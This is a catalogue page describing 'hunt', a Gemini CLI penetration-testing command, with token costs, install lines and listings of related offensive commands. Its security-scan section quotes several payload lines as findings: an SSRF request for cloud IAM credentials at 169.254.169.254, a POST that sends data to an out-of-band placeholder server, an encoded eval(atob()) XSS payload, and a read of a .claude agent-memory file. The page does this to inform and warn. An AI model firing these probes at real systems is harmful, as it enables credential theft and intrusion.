hunt

hunt is a command for Gemini CLI from H-mmer/pentest-agents. It costs 0 tokens per session (4,706 once invoked), scanned F, original, no licence file.

A command for actively looking for security weaknesses on a target, such as a website or API.

In plain words
What is it for?
Testing for issues such as access-control flaws, cross-site scripting, server-side request forgery, SQL injection, unsafe file uploads, and business-logic bugs.
Why use it?
It removes the need to set up each test manually by loading the target’s scope, identifying its technology, and choosing tests for a vulnerability type.

Command for Gemini CLI

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/h-mmer/pentest-agents/hunt
Clone the repo
git clone --depth 1 https://github.com/H-mmer/pentest-agents

Made for: Gemini CLI.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt

README.md
[![agentmods](https://agentmods.dev/badge/commands/h-mmer/pentest-agents/hunt.svg)](https://agentmods.dev/commands/h-mmer/pentest-agents/hunt)
Your own site
<a href="https://agentmods.dev/commands/h-mmer/pentest-agents/hunt"><img src="https://agentmods.dev/badge/commands/h-mmer/pentest-agents/hunt.svg" alt="Measured on agentmods" height="20"></a>
Per session 0 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 4,706 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 5 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.04706
Opus 5 $0.00000 $0.02353
Sonnet 5 $0.00000 $0.00941
Haiku 4.5 $0.00000 $0.00471

Measured 2d ago against content hash 1426c2e17cf9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade F, and why

hunt scanned grade F with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl "https://$TARGET/api/webhook" -d '{"url": "https://YOUR_OOB_SERVER"}'

Encoded or obfuscated payloadhighSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

<img src=x onerror=eval(atob('YWxlcnQoMSk='))>

Reads agent configuration directoriesmediumAgent snooping

.claude/, .codex/, .gemini/ hold keys, settings and other credentials a mod has no legitimate need for.

cat .claude/agent-memory-local/chain-pending.md 2>/dev/null

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl "https://$TARGET/api/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- `rules/mistakes.md` — "Top 10 Most Common Mistakes" + category rules from real engagements. Agents repeat these without the reminder (hallucinated file paths, curl vs browser, theoretical impact, CVSS mismatch, etc.).
providers/gemini/.gemini/commands/hunt.toml · 415 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 415 lines · 0 tokens per session scan F 1426c2e17cf9

Subscribe to this mod's changes

hunt is a command published in the GitHub repository H-mmer/pentest-agents (816 stars, last pushed 2mo ago), with no licence file. It costs nothing until one of its globs matches a file; then it loads 4,706 tokens. A static security scan graded it F with 5 findings (sends data to an external url, encoded or obfuscated payload, reads agent configuration directories). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other commands, from other repositories

web3-audit

Smart contract security audit — runs through 10 bug class checklist (accounting desync, access control, incomplete path, off-by-one, oracle errors, ERC4626, reentrancy, flash loan, signature replay, proxy/upgrade). Applies pre-dive kill signals first. Generates Foundry PoC template for confirmed findings. Usage…

Awarexone/Agentic-Bug-Hunter · 0 tokens

bypass-403

Probe a 403/401 endpoint with the most-paid bypass tricks (header injection, path encoding, method swap, WAF fingerprint, vendor-specific). Wraps byp4xx when installed; otherwise runs a built-in matrix of 38+ techniques. Usage: /bypass-403 | /bypass-403 -l.

Awarexone/Agentic-Bug-Hunter · 0 tokens

recon

Run the full recon pipeline by invoking tools/reconengine.sh — subdomain enum (subfinder + amass + crt.sh + wayback), httpx live host probing with tech detection, nmap port scan, gau URL collection, JS analysis, ffuf directory fuzzing, parameter discovery, config exposure check, CI/CD workflow scan. Outputs to recon/…

Awarexone/Agentic-Bug-Hunter · 0 tokens

spray

Password spray with hard guards — typed-hostname confirmation, lockout warning, audit log. Modes: http-form (custom login page), oauth (password grant), o365 + okta (via TREVORspray). Default delay 30min/round + 60s jitter. Usage /spray --mode --users --passes.

Awarexone/Agentic-Bug-Hunter · 0 tokens

token-scan

Meme coin and token security scan — checks for rug pull vectors (hidden mint, honeypot, fee manipulation, LP lock bypass, authority retention, bonding curve exploits, fake renounce, sandwich amplification). Runs automated tokenscanner.py + manual 8-class audit. Usage: /token-scan [--chain solana].

Awarexone/Agentic-Bug-Hunter · 0 tokens

validate

Validate a finding — runs 7-Question Gate + 4-gate checklist. Kills weak findings before report writing. Prevents N/A submissions that hurt validity ratio. Usage: /validate.

Awarexone/Agentic-Bug-Hunter · 0 tokens